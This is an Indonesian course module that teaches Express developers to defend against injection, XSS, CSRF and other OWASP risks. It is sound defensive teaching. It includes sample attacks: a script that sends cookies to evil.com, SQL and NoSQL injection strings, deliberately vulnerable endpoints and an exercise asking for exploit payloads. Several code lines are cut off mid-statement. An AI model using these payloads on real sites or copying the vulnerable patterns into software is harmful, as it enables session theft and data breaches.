14-cybersecurity

Modul 14: Cybersecurity untuk Web Developer

> **Level:** 🟡 Intermediate **Jam:** 8 (4 sesi × 2 jam) **Prasyarat:** Express.js, Prisma, JWT basics **Output:** Secure Express API dengan proteksi OWASP Top 10

Tujuan Pembelajaran

Setelah modul ini, kamu bisa:

- Paham dan cegah OWASP Top 10 vulnerability
- Prevent SQL Injection & NoSQL Injection pake parameterized query
- Implement XSS protection (sanitasi, CSP headers)
- Pasang CSRF protection & SameSite cookies
- Hash password pake bcrypt + JWT secure practices
- Konfigurasi CORS, HTTPS, rate limiting, helmet
- Setup dependency scanning & secrets management
- Bikin CI/CD security pipeline sederhana

Materi

Sesi	Topik	File
1	OWASP Top 10 & Injection Attacks	01-owasp-injection.md
2	XSS & CSRF	02-xss-csrf.md
3	Secure Auth, CORS & HTTPS	03-auth-cors-https.md
4	DevSecOps — Dependency & CI/CD Security	04-devsecops.md

Output Akhir Modul

> **Secure Express API** — REST API lengkap dengan:

- ☐ SQL Injection protection (parameterized query/ORM)
- ☐ XSS sanitasi input & output + CSP header
- ☐ CSRF token + SameSite cookie
- ☐ bcrypt hashing + JWT (expiry, httpOnly)
- ☐ CORS whitelist origin
- ☐ HTTPS redirect + rate limiting
- ☐ Helmet security headers
- ☐ npm audit + Snyk scan di CI
- ☐ .env + .gitignore aman

AI Prompt Exercises

Sepanjang modul, latihan pake AI:

- ”Audit this Express endpoint for OWASP Top 10 vulnerabilities”
- ”Explain why this SQL query is vulnerable and fix it”
- ”Generate a security checklist for my Express API”
- ”Write a CSP policy for a blog that embeds YouTube videos”
- ”Find the security bugs in this auth middleware”
- ”Create a Snyk GitHub Action workflow for npm audit”

Daftar Isi

---

1. Kenapa Lo Peduli?

Tahun 2024 Indonesia masuk 5 besar negara asal serangan siber di Asia Tenggara (Laporan BSSN 2024). Rata-rata **16.000+ serangan**

per hari nargetin web app lokal. Startup, e-commerce, sekolah — semua kena.

Banyak bocor karena **developer nggak ngurus keamanan**:

- Password disimpan plain text
- API endpoint nggak divalidasi
- .env ikut commit ke GitHub

Modul ini ngajarin **cara bertahan**. Bukan teori doang — lo bakal liat kode yang bisa lo pake sekarang.

---

2. OWASP Top 10 — Ancaman Paling Ganas

OWASP (Open Web Application Security Project) tiap 4 tahun ngeluarin 10 kerentanan web paling kritis. Yang paling sering nimpain aplikasi buatan SMK RPL:

SQL Injection

Cara kerja: Attacker nyisipin query SQL lewat input form atau URL parameter. Kalo aplikasi lo nggak sanitasi input, query jadi:

```
-- Kode lo:
SELECT * FROM users WHERE email = '$email' AND password = '$pass'

-- Attacker masukin: admin' --
-- Jadinya:
SELECT * FROM users WHERE email = 'admin' -- ' AND password = '...'
```

Semua baris keambil. Login tanpa password.

Pencegahan — WAJIB: Prepared Statement / Parameterized Query

```
// ❌ RENTAN — jangan pernah!
const query = `SELECT * FROM users WHERE email = '${email}'`;

// ✅ AMAN — pake parameterized query (contoh pake mysql2)
const [rows] = await db.query('SELECT * FROM users WHERE email = ? AND password
```

Atau kalo pake Prisma / ORM lain — **udah aman secara default** karena ORM otomatis pake parameterized query.

XSS (Cross-Site Scripting)

Cara kerja: Attacker nyuntikin script jahat lewat input (komentar, profil, search bar). Script jalan di browser korban — nyolong cookie,

redirect ke phishing site, atau ubah tampilan.

Tipe XSS:

- **Stored XSS:** Script disimpan di database (paling bahaya)
- **Reflected XSS:** Script ada di URL
- **DOM-based XSS:** Script dimanipulasi lewat JavaScript client-side

Contoh serangan:

```
<!-- Attacker masukin komentar: -->
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
```

Pencegahan:

```
// □ AMAN — sanitasi input sebelum render
// Pake library seperti DOMPurify (client) atau express-validator (server)

const { body, validationResult } = require('express-validator');
app.post('/komentar',
  body('isi').escape(), // otomatis encode HTML
  (req, res) => { ... }
);
```

Di **EJS/Handlebars**: pake `<%= %>` (escape otomatis), jangan `<%- %>` (raw).

Header penting:

```
// Middleware: set Content-Security-Policy
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self' https://trusted-cdn.com"
  );
  next();
});
```

CSRF (Cross-Site Request Forgery)

Cara kerja: Attacker nipu user yang udah login buat ngeklik link jahat. Karena browser nyimpen cookie, request palsu keliatan sah.

Contoh: User login di bank.com. Attacker kirim link `<img src="http://bank.com/transfer?amount=1000000&to=attacker">`. Browser user otomatis kirim cookie.

Pencegahan — CSRF Token:

```
// Pake csurf atau csrf-csrf
const csrf = require('csrf-csrf');
const { doubleCsrf } = csrf;
const { generateToken, validateRequest } = doubleCsrf({
  getSecret: () => process.env.CSRF_SECRET,
});

app.use(validateRequest);
```

Atau yang lebih modern: **SameSite Cookie** (set cookie attribute SameSite=Strict / SameSite=Lax).

```
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict', // blokir CSRF dari domain lain
});
```

---

3. Secure Authentication

JWT Best Practices

JSON Web Token (JWT) sering dipake di API Express. Tapi banyak yang salah pake.

```
const jwt = require('jsonwebtoken');

// □ AMAN
const token = jwt.sign(
  { userId: user.id },
  process.env.JWT_SECRET,       // simpan di .env, bukan hardcode
  { expiresIn: '1h' }           // expire — jangan unlimited!
);

// □ RENTAN — jangan pernah!
const token = jwt.sign({ role: 'admin' }, 'rahasia123', { noTimestamp: true });
```

Checklist JWT:

1. **Secret minimal 256-bit** — generate pake: `require('crypto').randomBytes(32).toStr`
2. **Set expiry singkat** — 15 menit access token, refresh token lebih panjang (7 hari)
3. **Jangan simpan di localStorage** — pake httpOnly cookie
4. **Verifikasi di setiap endpoint protected**

```
// Middleware verifikasi JWT
function authMiddleware(req, res, next) {
```

```
  const token = req.cookies.token || req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Unauthorized' });

  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded;
    next();
  } catch (err) {
    res.status(401).json({ error: 'Token invalid/expired' });
  }
}
```

Bcrypt — Hash Password

Jangan pernah simpan password plain text. Pake bcrypt — library hash yang punya **salt otomatis** dan **cost factor** biar slow (susah di-brute-force).

```
const bcrypt = require('bcrypt');
const saltRounds = 12; // recommended: 10-12

// Hash pas register
const hash = await bcrypt.hash(password, saltRounds);
await db.query('INSERT INTO users (email, password) VALUES (?, ?)', [email, hash

// Verify pas login
const match = await bcrypt.compare(inputPassword, user.password);
if (!match) return res.status(401).json({ error: 'Password salah' });
```

Kenapa bcrypt? Argon2 lebih kuat, tapi bcrypt paling didukung di Node.js ecosystem. Pilih salah satu, asal bukan MD5/SHA1 — itu bisa dibalikin dalam detik pake tabel rainbow.

Rate Limiting

Batasin jumlah request per IP biar nggak kena **brute force** atau **DDoS** basic.

```
const rateLimit = require('express-rate-limit');

// Di login: 5 percobaan per 15 menit
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: { error: 'Terlalu banyak percobaan. Coba lagi 15 menit lagi.' },
  standardHeaders: true,
  legacyHeaders: false,
```

```
});

app.use('/api/login', loginLimiter);

// Di API umum: 100 request per menit
const apiLimiter = rateLimit({
  windowMs: 60 * 1000,
  max: 100,
});

app.use('/api', apiLimiter);
```

---

4. Environment Security

.env File

Semua rahasia di `.env` — jangan hardcode di source code.

```
# .env — contoh
DB_HOST=localhost
DB_USER=root
DB_PASS=s3cr3t!
JWT_SECRET=5f8a2b1c9d3e7f4a6b0c2d8e1f4a6b0c
CSRF_SECRET=9f1e2d3c4b5a6f7e8d9c0b1a2f3e4d5c
PORT=3000
NODE_ENV=production
```

.gitignore

Ini yang paling sering dilanggar. Banyak developer commit `.env` ke GitHub — langsung kena hack.

```
# .gitignore — harus ada di root project
.env
.env.local
node_modules/
*.log
.DS_Store
dist/
```

Peringatan keras: Kalo lo commit `.env` ke repo publik, ganti semua secret dalam 5 menit. Bot udah otomatis scan GitHub buat nyari file `.env`.

Alternatif Aman

Kalo pake hosting kayak Railway / Vercel / Render — pake **environment variables** dari dashboard, jangan pake file `.env` di production.

---

5. HTTPS & SSL Dasar

HTTP = data dikirim dalam teks jelas. Siapa pun di jaringan yang sama (WiFi kafe, sekolah) bisa baca request lo — termasuk password dan token.

HTTPS = data dienkripsi pake TLS. Lo butuh **SSL Certificate**.

Cara dapetin SSL gratis

Pake **Let's Encrypt** lewat Certbot:

```
# Di server Linux
sudo apt install certbot python3-certbot-nginx
sudo certbot --nginx -d domainkamu.com
```

Otomatis renew tiap 90 hari. Tinggal jalanin `cron`.

Redirect HTTP ke HTTPS di Express

```
app.use((req, res, next) => {
  if (req.headers['x-forwarded-proto'] !== 'https' && process.env.NODE_ENV === '
    return res.redirect(`https://${req.hostname}${req.url}`);
  }
  next();
});
```

Atau lebih gampang — pake **NGINX reverse proxy** di depan Express.
NGINX handle SSL, Express jalan di localhost.

---

6. Common Attacks di Website Indonesia

Berdasarkan data BSSN dan laporan keamanan publik:

Serangan	Real Case Indonesia
SQL Injection	2023 — 50+ situs Pemda kena SQLi, data warga bocor (peristiwa Et
Defacement	2024 — Ratusan situs .go.id kena deface, diganti logo hacker
Credential Stuffing	Bocoran database e-commerce dipake login ulang ke platform lain

Serangan	Real Case Indonesia
CORS Misconfiguration	Web app pake `Access-Control-Allow-Origin: *`
Missing Rate Limit	Endpoint OTP di fintech lokal bisa di-brute

Pencegahan Spesifik untuk Web Indonesia

1. **Jangan pernah percaya input user** — validasi di server, bukan cuma di frontend
2. **Gunakan HTTPS** — gratis kok, pake Let's Encrypt
3. **Jangan expose port database (3306/5432) ke publik** — cukup localhost doang
4. **Logging + monitoring** — pake `morgan` buat log, `winston` buat simpan error
5. **Update dependency rutin** — `npm audit fix` minimal seminggu sekali

CORS — Konfigurasi yang Benar

```
const cors = require('cors');

// ❌ RENTAN — jangan pernah!
app.use(cors({ origin: '*' }));

// ✅ AMAN — specify origin yang spesifik
app.use(cors({
  origin: 'https://frontend-kamu.com',
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
}));
```

---

7. Praktik: Express Middleware Keamanan

Gabungin semua yang udah dibahas jadi satu middleware keamanan:

```
// middleware/security.js
const rateLimit = require('express-rate-limit');
const helmet = require('helmet');
const cors = require('cors');

module.exports = (app) => {
  // 1. Helmet — set berbagai HTTP header keamanan
  //    (X-Content-Type-Options, X-Frame-Options, dkk)
  app.use(helmet());
```

```
  // 2. CORS — cuma domain lo yang bisa akses API
  app.use(cors({
    origin: process.env.FRONTEND_URL || 'http://localhost:3000',
    credentials: true,
  }));

  // 3. Rate limiting global
  app.use(rateLimit({
    windowMs: 15 * 60 * 1000,
    max: 100,
  }));

  // 4. Prevent parameter pollution
  //    (hacker kirim ?id=1&id=2&id=3 buat bypass)
  const hpp = require('hpp');
  app.use(hpp());

  // 5. Cookie security
  app.use((req, res, next) => {
    res.cookie = (name, value, options) => {
      const secureOpts = {
        httpOnly: true,     // nggak bisa diakses JS
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        ...options,
      };
      return res.cookie(name, value, secureOpts);
    };
    next();
  });
};
```

Auth Middleware Lengkap

```
// middleware/auth.js
const jwt = require('jsonwebtoken');

function authenticate(req, res, next) {
  const token = req.cookies.token || req.headers.authorization?.split(' ')[1];

  if (!token) {
    return res.status(401).json({ error: 'Akses ditolak. Login dulu.' });
  }
```

```
  try {
    const verified = jwt.verify(token, process.env.JWT_SECRET);
    req.user = verified;
    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Sesi habis. Login ulang.' });
    }
    return res.status(400).json({ error: 'Token nggak valid.' });
  }
}

function adminOnly(req, res, next) {
  if (!req.user || req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Hanya admin yang bisa akses.' });
  }
  next();
}

module.exports = { authenticate, adminOnly };
```

Input Validation Middleware

```
const { body, validationResult } = require('express-validator');

const validateRegister = [
  body('email').isEmail().normalizeEmail(),
  body('password')
    .isLength({ min: 8 })
    .withMessage('Password minimal 8 karakter'),
  body('nama').trim().escape(),
  (req, res, next) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    next();
  }
];

app.post('/api/register', validateRegister, async (req, res) => {
  // kode registration — input udah divalidasi & aman
});
```

---

8. Kesimpulan

Cybersecurity bukan opsional — itu bagian dari development. Lo nggak perlu jadi hacker buat bikin app yang aman. Cukup disiplin pake praktek dasar ini:

Praktik	Level Prioritas
Prepared statement / ORM	WAJIB
Password hashing (bcrypt)	WAJIB
.env + .gitignore	WAJIB
HTTPS	WAJIB buat production
Rate limiting	Sangat disarankan
CORS konfigurasi	Sangat disarankan
Helmet header	Sangat disarankan
CSRF protection	Kalo pake cookie auth
CSP header	Tambahan proteksi

Checklist sebelum deploy:

1. [ ] .env nggak ke-commit? Cek: `git status`
2. [ ] Semua input pake parameterized query atau ORM?
3. [ ] Password di-hash pake bcrypt?
4. [ ] HTTPS udah aktif?
5. [ ] Rate limiter udah dipasang di endpoint login?
6. [ ] CORS cuma buka domain yang dikenal?
7. [ ] Dependency di-audit? Jalanin `npm audit`

> **Peringatan terakhir:** Satu celah kecil bisa bobolain seluruh aplikasi. Jangan nunggu kena hack baru belajar.

Referensi: OWASP.org, BSSN Laporan Tahunan 2024, Node.js Security Best Practices

Sesi 1: OWASP Top 10 & Injection Attacks

> **Durasi:** 2 jam **Tujuan:** Paham OWASP Top 10, bisa cegah SQL Injection & NoSQL Injection

---

OWASP Top 10 Overview

OWASP Top 10 = daftar 10 kerentanan web paling kritis, diupdate tiap 4 tahun. Top 3 yang paling sering nimpain aplikasi Express:

Rank	Kerentanan	Dampak
A01	**Broken Access Control**	User bisa akses data orang lain
A02	**Cryptographic Failures**	Password/Token bocor
A03	**Injection** (SQL, NoSQL, Command)	Database/Server diambil alih

Fokus sesi ini: **Injection Attacks** — yang paling banyak nyebabkan data breach di Indonesia.

SQL Injection — Root Cause

SQL Injection terjadi saat **input user dimasukin langsung ke query SQL** tanpa sanitasi.

```
-- Yang lo tulis:
SELECT * FROM users WHERE email = '$email' AND password = '$pass'

-- Yang terjadi kalo attacker masukin: admin' --
SELECT * FROM users WHERE email = 'admin' -- ' AND password = '...'

-- `--` ngomment sisa query — login berhasil tanpa password bener!
```

Attack Vectors

Attacker bisa nyuntikin SQL lewat:

- **Form input** (login, register, search)
- **URL parameter** (`/api/user?id=1`)
- **Headers** (User-Agent, Cookie)
- **File upload metadata**

Contoh Eksploitasi

```
// Express endpoint RENTAN
app.get('/api/user', async (req, res) => {
  const id = req.query.id;

  // 💣 Bencana — langsung concatenate
  const query = `SELECT * FROM users WHERE id = ${id}`;
  const [rows] = await db.query(query);

  res.json(rows[0]);
});
```

```
// Attacker panggil:
// GET /api/user?id=1 UNION SELECT * FROM admin_passwords
// ——— semua password admin kebaca!
```

Pencegahan SQL Injection

1. Parameterized Query (mysql2)

```
// ✅ AMAN — parameterized query
import mysql from 'mysql2/promise';

const db = await mysql.createConnection({
  host: process.env.DB_HOST,
  user: process.env.DB_USER,
  password: process.env.DB_PASS,
  database: process.env.DB_NAME,
});

// Parameter pake placeholder ?
app.get('/api/user', async (req: any, res: any) => {
  const { id } = req.query;

  // Input dipisah dari query — mysql2 handle escaping
  const [rows] = await db.query(
    'SELECT * FROM users WHERE id = ?',
    [id]
  );

  res.json(rows[0]);
});
```

2. ORM — Prisma (Aman Default)

```
// ✅ PALING AMAN — Prisma otomatis parameterized query
import { PrismaClient } from '@prisma/client';
const prisma = new PrismaClient();

app.get('/api/user/:id', async (req: any, res: any) => {
  const id = parseInt(req.params.id);

  if (isNaN(id)) {
    return res.status(400).json({ error: 'ID harus angka' });
  }
```

```
  // Prisma handle sanitasi
  const user = await prisma.user.findUnique({
    where: { id },
    select: { id: true, email: true, nama: true }, // jangan select password!
  });

  if (!user) {
    return res.status(404).json({ error: 'User tidak ditemukan' });
  }

  res.json(user);
});
```

3. Input Validation (express-validator)

```
import { body, param, query, validationResult } from 'express-validator';

// Validasi parameter ID harus integer
app.get(
  '/api/user/:id',
  param('id').isInt().withMessage('ID harus angka'),
  (req: any, res: any, next: any) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    next();
  },
  async (req: any, res: any) => {
    const user = await prisma.user.findUnique({
      where: { id: parseInt(req.params.id) },
    });
    res.json(user);
  }
);
```

NoSQL Injection (MongoDB)

Express sering pake MongoDB + Mongoose. Walaupun bukan SQL, **NoSQL juga kena injection**.

```
// □ RENTAN — NoSQL Injection
app.post('/api/login', async (req: any, res: any) => {
  const { email, password } = req.body;
```

```
  // Attacker kirim: { "email": "admin@mail.com", "password": { "$gt": "" } }
  // Operator $gt (greater than) — query return true buat semua password!
  const user = await User.findOne({ email, password });

  if (user) {
    // Login berhasil meski password salah!
    res.json({ token: jwt.sign({ id: user.id }, process.env.JWT_SECRET) });
  }
});
```

Pencegahan NoSQL Injection

```
// ✅ AMAN — validasi tipe input sebelum query
app.post('/api/login', async (req: any, res: any) => {
  const { email, password } = req.body;

  // Validasi: email & password harus string
  if (typeof email !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Input tidak valid' });
  }

  const user = await User.findOne({ email });

  if (!user || !(await bcrypt.compare(password, user.password))) {
    return res.status(401).json({ error: 'Email/password salah' });
  }

  // Generate JWT...
});
```

Input Validation & Sanitization

Golden rule: Jangan pernah percaya input user.

```
import { body, validationResult } from 'express-validator';

const validateUserInput = [
  body('email')
    .isEmail()
    .normalizeEmail()             // lowercase + trim
    .withMessage('Email tidak valid'),
  body('nama')
    .trim()                       // hapus spasi depan/belakang
```

```
    .escape()                       // encode HTML (< > &)
    .isLength({ min: 2, max: 50 })
    .withMessage('Nama 2-50 karakter'),
  body('umur')
    .isInt({ min: 13, max: 120 })
    .withMessage('Umur 13-120'),
  body('bio')
    .optional()
    .trim()
    .escape()
    .isLength({ max: 500 }),
  (req: any, res: any, next: any) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    next();
  },
];

app.post('/api/profile', validateUserInput, async (req: any, res: any) => {
  // req.body udah divalidasi & disanitasi — aman diproses
  const { email, nama, umur, bio } = req.body;

  const user = await prisma.user.update({
    where: { id: req.user.id },
    data: { email, nama, umur, bio },
  });

  res.json({ message: 'Profile diupdate', user });
});
```

Prepared Statements di Express + Prisma

Pattern aman untuk semua operasi database:

```
import { PrismaClient } from '@prisma/client';
import bcrypt from 'bcrypt';

const prisma = new PrismaClient();

// CREATE — aman via ORM
app.post('/api/users', async (req: any, res: any) => {
  const { email, password, nama } = req.body;
```

```
  const hash = await bcrypt.hash(password, 12);

  const user = await prisma.user.create({
    data: { email, nama, password: hash },
    select: { id: true, email: true, nama: true }, // jangan balikin password
  });

  res.status(201).json(user);
});

// READ with filter — aman
app.get('/api/users', async (req: any, res: any) => {
  const { search, page = '1', limit = '10' } = req.query;

  const users = await prisma.user.findMany({
    where: search
      ? { nama: { contains: search as string, mode: 'insensitive' } }
      : undefined,
    select: { id: true, email: true, nama: true, createdAt: true },
    skip: (parseInt(page as string) - 1) * parseInt(limit as string),
    take: parseInt(limit as string),
  });

  res.json(users);
});

// UPDATE — aman
app.put('/api/users/:id', async (req: any, res: any) => {
  const id = parseInt(req.params.id);
  const { nama, email } = req.body;

  const user = await prisma.user.update({
    where: { id },
    data: { nama, email },
    select: { id: true, email: true, nama: true },
  });

  res.json(user);
});

// DELETE — aman
app.delete('/api/users/:id', async (req: any, res: any) => {
  const id = parseInt(req.params.id);

  await prisma.user.delete({ where: { id } });
```

```
  res.json({ message: 'User dihapus' });
});
```

Latihan

Latihan 1: Audit Endpoint RENTAN

Baca kode di bawah, cari celah injection-nya, jelasin gimana attacker bisa eksploit:

```
app.get('/api/produk', async (req: any, res: any) => {
  const { kategori, harga_min, harga_max, sort } = req.query;

  const query = `
    SELECT * FROM produk
    WHERE kategori = '${kategori}'
    AND harga >= ${harga_min}
    AND harga <= ${harga_max}
    ORDER BY ${sort}
  `;

  const [rows] = await db.query(query);
  res.json(rows);
});
```

Tugas:

1. Identifikasi 3 celah SQL Injection
2. Tulis payload buat exploit masing-masing celah
3. Tulis ulang endpoint pake Prisma (aman)

Latihan 2: Implementasi Register Aman

Buat endpoint register yang aman dari injection:

```
// TODO: Lengkapi endpoint ini
app.post('/api/register',
  // 1. Validasi: email valid, password min 8, nama 2-50 karakter
  // 2. Cek apakah email udah terdaftar (pake Prisma)
  // 3. Hash password pake bcrypt (saltRounds = 12)
  // 4. Simpan user ke database
  // 5. Return user (tanpa password!)
  async (req: any, res: any) => {
    // ...kode lo
```

```
  }
);
```

Latihan 3: Search dengan Proteksi

Buat endpoint search produk yang aman dari NoSQL injection (MongoDB):

```
// TODO: Lengkapi — cegah NoSQL injection
app.get('/api/produk/search', async (req: any, res: any) => {
  const { q, minPrice, maxPrice } = req.query;

  // Jangan lakukan: Product.find({ nama: { $regex: q }, harga: { $gte: minPrice
  // Attacker bisa inject operator MongoDB!
});
```

Latihan 4: Bikin Middleware Validasi Universal

Buat middleware reusable yang bisa dipake di SEMUA endpoint untuk cegah injection:

```
// TODO: Bikin middleware yang:
// 1. Deteksi karakter mencurigakan di body/query/params
// 2. Block request yang mengandung SQL keywords (SELECT, UNION, DROP, --)
// 3. Block request yang mengandung karakter `$` (NoSQL injection)
// 4. Return 400 dengan pesan jelas
function sanitizeInput(req: any, res: any, next: any) {
  // ...kode lo
}
```

Ringkasan

Ancaman	Pencegahan
SQL Injection	Parameterized query / ORM (Prisma)
NoSQL Injection	Validasi tipe input + jangan pake operator query dari body
Input berbahaya	express-validator (trim, escape, isInt, isEmail)
Raw query	Hindari — pake Prisma query builder

> **Prinsip:** Kalo input bisa nyentuh database, lo harus validasi. ORM aja nggak cukup — validasi tipe & sanitasi input tetap wajib.

Sesi 2: XSS & CSRF

> **Durasi:** 2 jam **Tujuan:** Paham XSS & CSRF, bisa implementasi perlindungan di Express

---

XSS — Cross-Site Scripting

XSS = attacker nyuntikin **JavaScript jahat** ke halaman web. Script jalan di **browser korban** — bisa nyolong cookie, redirect ke phishing, atau ubah tampilan.

3 Tipe XSS

Tipe	Cara Kerja	Tingkat Bahay
Stored XSS	Script disimpan di database, jalan tiap kali halaman dibuka	Paling baha
Reflected XSS	Script ada di URL, korban harus klik link	Sedang
DOM-based XSS	Script jalan via JS client-side, server nggak tahu	Sedang

---

Stored XSS — Contoh

Komentar di blog yang nyimpen data tanpa sanitasi:

```
// ❌ RENTAN — simpan komentar mentah
app.post('/api/komentar', async (req: any, res: any) => {
  const { isi } = req.body;

  const komentar = await prisma.komentar.create({
    data: { isi, userId: req.user.id },
  });

  res.json(komentar);
});

// Attacker kirim:
// { "isi": "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

// Tiap user buka halaman — cookie mereka dicuri!
```

Reflected XSS — Contoh

Script lewat URL parameter:

```
// ❌ RENTAN — render input langsung ke halaman
app.get('/api/search', async (req: any, res: any) => {
  const { q } = req.query;

  // Kalo pake EJS: <h2>Hasil pencarian: <%= q %></h2>
  // Dengan <%- q %> (raw) — XSS!
  res.render('search', { query: q });
});

// Attacker kirim link:
// https://site.com/search?q=<script>alert('XSS')</script>
```

Pencegahan XSS

1. Sanitasi Input — Server Side

```
import { body, validationResult } from 'express-validator';

// ✅ AMAN — escape & trim sebelum simpan
app.post('/api/komentar',
  body('isi')
    .trim()
    .escape()           // otomatis encode HTML: < jadi &lt;, > jadi &gt;
    .isLength({ min: 1, max: 1000 }),
  async (req: any, res: any) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }

    const komentar = await prisma.komentar.create({
      data: {
        isi: req.body.isi, // udah di-escape, aman
        userId: req.user.id,
      },
    });

    res.json(komentar);
  }
);
```

2. Sanitasi Output — Template Engine

```
<!-- ✅ AMAN — EJS: <%= %> otomatis escape -->
<p><%= komentar.isi %></p>

<!-- ❌ RENTAN — <%- %> render raw HTML -->
<p><%- komentar.isi %></p>
```

3. DOMPurify — Client Side

Kalo memang perlu render HTML (rich text), pake DOMPurify:

```
<!-- Di frontend -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.j
<script>
  const userInput = "<img src=x onerror=alert('XSS')>";
  const clean = DOMPurify.sanitize(userInput);
  // clean = "<img src=\"x\">" — event handler dihapus!
  document.getElementById('content').innerHTML = clean;
</script>
```

4. Content-Security-Policy (CSP)

CSP = header HTTP yang ngontrol script mana yang boleh jalan di browser. **Ini defense paling kuat lawan XSS.**

```
import helmet from 'helmet';

// ✅ AMAN — helmet set CSP + berbagai header keamanan
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://trusted-cdn.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "https://images.unsplash.com"],
      connectSrc: ["'self'", "https://api.kamu.com"],
      fontSrc: ["'self'"],
      objectSrc: ["'none'"],
      frameSrc: ["'none'"],
      upgradeInsecureRequests: [],
    },
  },
}));

// Kalo manual:
app.use((req: any, res: any, next: any) => {
```

```
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; im
  );
  next();
});
```

CSP directives penting:

Directive	Fungsi
`default-src 'self'`	Fallback — cuma dari domain sendiri
`script-src 'self'`	Script cuma dari domain sendiri
`style-src 'self'`	CSS cuma dari domain sendiri
`img-src 'self'`	Gambar cuma dari domain sendiri
`object-src 'none'`	Blokir plugin (Flash, Java)
`frame-src 'none'`	Blokir iframe dari domain lain

5. X-XSS-Protection & X-Content-Type-Options

```
// Helmet otomatis set ini:
// X-XSS-Protection: 0 (disable — pake CSP aja)
// X-Content-Type-Options: nosniff
// X-Frame-Options: DENY
```

CSRF — Cross-Site Request Forgery

Cara kerja: Attacker nipu user yang udah login buat ngelakuin aksi (transfer, ganti password, hapus data) tanpa sepengetahuan mereka.

Flow Serangan CSRF

```
1. User login ke bank.com → dapet cookie session
2. Tanpa logout, user buka situs attacker (atau email pake gambar)
3. Situs attacker punya: <img src="http://bank.com/transfer?amount=1000000&to=atta
4. Browser otomatis kirim cookie bank.com — request keliatan sah!
5. Uang kepindah ke rekening attacker
```

CSRF Prevention Methods

Method	Cara	Level Proteksi
CSRF Token	Token unik di tiap form/request	Strong

Method	Cara	Level Proteksi
SameSite Cookie	Attribute cookie `Strict`/`Lax`	✅ Strong (modern)
Custom Header	`X-Requested-With: XMLHttpRequest`	⚠️ Medium
Referer Header	Cek asal request	❌ Lemah (bisa di-spoof)

CSRF Token — Implementasi dengan csrf-csrf

```
import { doubleCsrf } from 'csrf-csrf';
import cookieParser from 'cookie-parser';

// Setup
app.use(cookieParser(process.env.COOKIE_SECRET));

const { generateToken, validateRequest, doubleCsrfProtection } = doubleCsrf({
  getSecret: () => process.env.CSRF_SECRET,
  cookieName: '__Host-psifi.x-csrf-token',
  cookieOptions: {
    httpOnly: true,
    sameSite: 'strict',
    secure: process.env.NODE_ENV === 'production',
    path: '/',
  },
  size: 64,
  getTokenFromRequest: (req) => req.headers['x-csrf-token'],
});

// Apply CSRF protection ke semua route yang mutasi data
app.use('/api', doubleCsrfProtection);

// Endpoint buat dapetin CSRF token
app.get('/api/csrf-token', (req: any, res: any) => {
  res.json({
    token: generateToken(req, res),
  });
});

// Contoh protected route
app.post('/api/transfer', async (req: any, res: any) => {
  // validateRequest udah otomatis jalan via middleware
  const { toAccount, amount } = req.body;

  // Proses transfer...
```

```
  res.json({ message: 'Transfer berhasil' });
});

// Client harus kirim:
// POST /api/transfer
// Headers:
//   X-CSRF-Token: <token dari /api/csrf-token>
//   Cookie: __Host-psifi.x-csrf-token=<token>
```

SameSite Cookie — Alternatif Modern

Nggak perlu library tambahan. Cukup set cookie attribute `SameSite`:

```
// ✅ AMAN — SameSite=Strict blokir semua request lintas situs
res.cookie('session', token, {
  httpOnly: true,
  secure: process.env.NODE_ENV === 'production',
  sameSite: 'strict',   // 'lax' = lebih longgar (allow GET navigasi)
  maxAge: 24 * 60 * 60 * 1000, // 1 hari
});

// Alternatif: SameSite=Lax — allow link navigasi, blokir POST lintas situs
res.cookie('session', token, {
  sameSite: 'lax',
});
```

SameSite	Proteksi CSRF	Use Case
`Strict`	✅ Paling kuat	Banking, admin panel
Lax	✅ Cukup	Web umum (default modern browser)
None	❌ Nggak ada	Butuh cookie lintas domain (with Secure)

Helmet.js — Complete Security Headers

Helmet kumpulin **15+ middleware keamanan HTTP header** dalam satu package:

```
import helmet from 'helmet';

// ✅ AMAN — pake default helmet
app.use(helmet());

// Kustomisasi sesuai kebutuhan
app.use(helmet({
```

```
  // CSP — paling penting buat XSS
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:"],
      connectSrc: ["'self'"],
      fontSrc: ["'self'"],
      objectSrc: ["'none'"],
      frameSrc: ["'none'"],
      upgradeInsecureRequests: [],
    },
  },
  // Cross-Origin Isolation
  crossOriginEmbedderPolicy: true,
  crossOriginOpenerPolicy: { policy: 'same-origin' },
  crossOriginResourcePolicy: { policy: 'same-origin' },
  // DNS Prefetch Control
  dnsPrefetchControl: { allow: false },
  // Referrer Policy
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  // XSS Filter
  xXssProtection: false, // disable — pake CSP
  // HSTS (HTTP Strict Transport Security) — paksa HTTPS
  strictTransportSecurity: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
}));
```

Headers yang di-set Helmet:

Header	Fungsi
